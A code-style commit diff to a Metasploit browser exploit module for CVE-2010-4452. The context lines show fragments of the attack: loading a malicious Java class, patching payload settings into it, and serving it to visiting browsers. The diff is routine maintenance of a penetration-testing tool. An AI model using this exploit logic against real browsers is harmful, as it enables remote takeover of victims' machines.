Mass rubocop changes

modules/exploits/windows/browser/java_codebase_trust.rb

@@ -53,7 +53,7 @@ class MetasploitModule < Msf::Exploit::Remote
             'Generic (Java Payload)',
             {
               'Arch' => ARCH_JAVA,
-              'Platform' => 'java',
+              'Platform' => 'java'
             }
           ],
 
@@ -81,21 +81,21 @@ class MetasploitModule < Msf::Exploit::Remote
       [
         # This is the default for a 32-bit Windows install
         OptString.new('LIBPATH', [
-          false, "The codebase path to use (privileged)",
-          "C:\\Program Files\\java\\jre6\\lib\\ext"
+          false, 'The codebase path to use (privileged)',
+          'C:\\Program Files\\java\\jre6\\lib\\ext'
         ]),
       ]
     )
   end
 
   def exploit
-    path = [ Msf::Config.data_directory, "exploits", "cve-2010-4452", "AppletX.class" ].join(::File::SEPARATOR)
+    path = [ Msf::Config.data_directory, 'exploits', 'cve-2010-4452', 'AppletX.class' ].join(::File::SEPARATOR)
     @java_class = nil
-    File.open(path, "rb") { |fd|
+    File.open(path, 'rb') do |fd|
       @java_class = fd.read(fd.stat.size)
-    }
-    if not @java_class
-      fail_with(Failure::Unknown, "Unable to load java class")
+    end
+    if !@java_class
+      fail_with(Failure::Unknown, 'Unable to load java class')
     end
 
     super
@@ -113,7 +113,7 @@ class MetasploitModule < Msf::Exploit::Remote
     host_num = Rex::Socket.addr_aton(host).unpack('N').first
     code_url = jpath.sub(host, host_num.to_s)
 
-    codebase = "file:" + datastore['LIBPATH']
+    codebase = 'file:' + datastore['LIBPATH']
 
     config = "Spawn=2\nLPORT=#{datastore['LPORT']}\n"
     # The java payloads decide to be reverse if LHOST is set.
@@ -134,9 +134,9 @@ class MetasploitModule < Msf::Exploit::Remote
       # As such, we do not use the traditional payload generation facilities.
       # However, we call the following so that bind payloads will properly
       # connect to the client instead of using RHOST
-      p = regenerate_payload(cli)
+      regenerate_payload(cli)
 
-      print_status("Sending .class file")
+      print_status('Sending .class file')
 
       cls = @java_class.dup
       cls[config_off, 2] = [config.length].pack('n')
@@ -148,7 +148,7 @@ class MetasploitModule < Msf::Exploit::Remote
 
       # File.open('ughz.class', 'wb') { |fd| fd.write cls }
 
-      send_response(cli, cls, { 'Content-Type' => "application/octet-stream" })
+      send_response(cli, cls, { 'Content-Type' => 'application/octet-stream' })
       handler(cli)
 
     else
@@ -159,7 +159,7 @@ class MetasploitModule < Msf::Exploit::Remote
         </body>
         </html>
       EOS
-      print_status("Sending HTML")
+      print_status('Sending HTML')
       send_response_html(cli, html)
     end
   end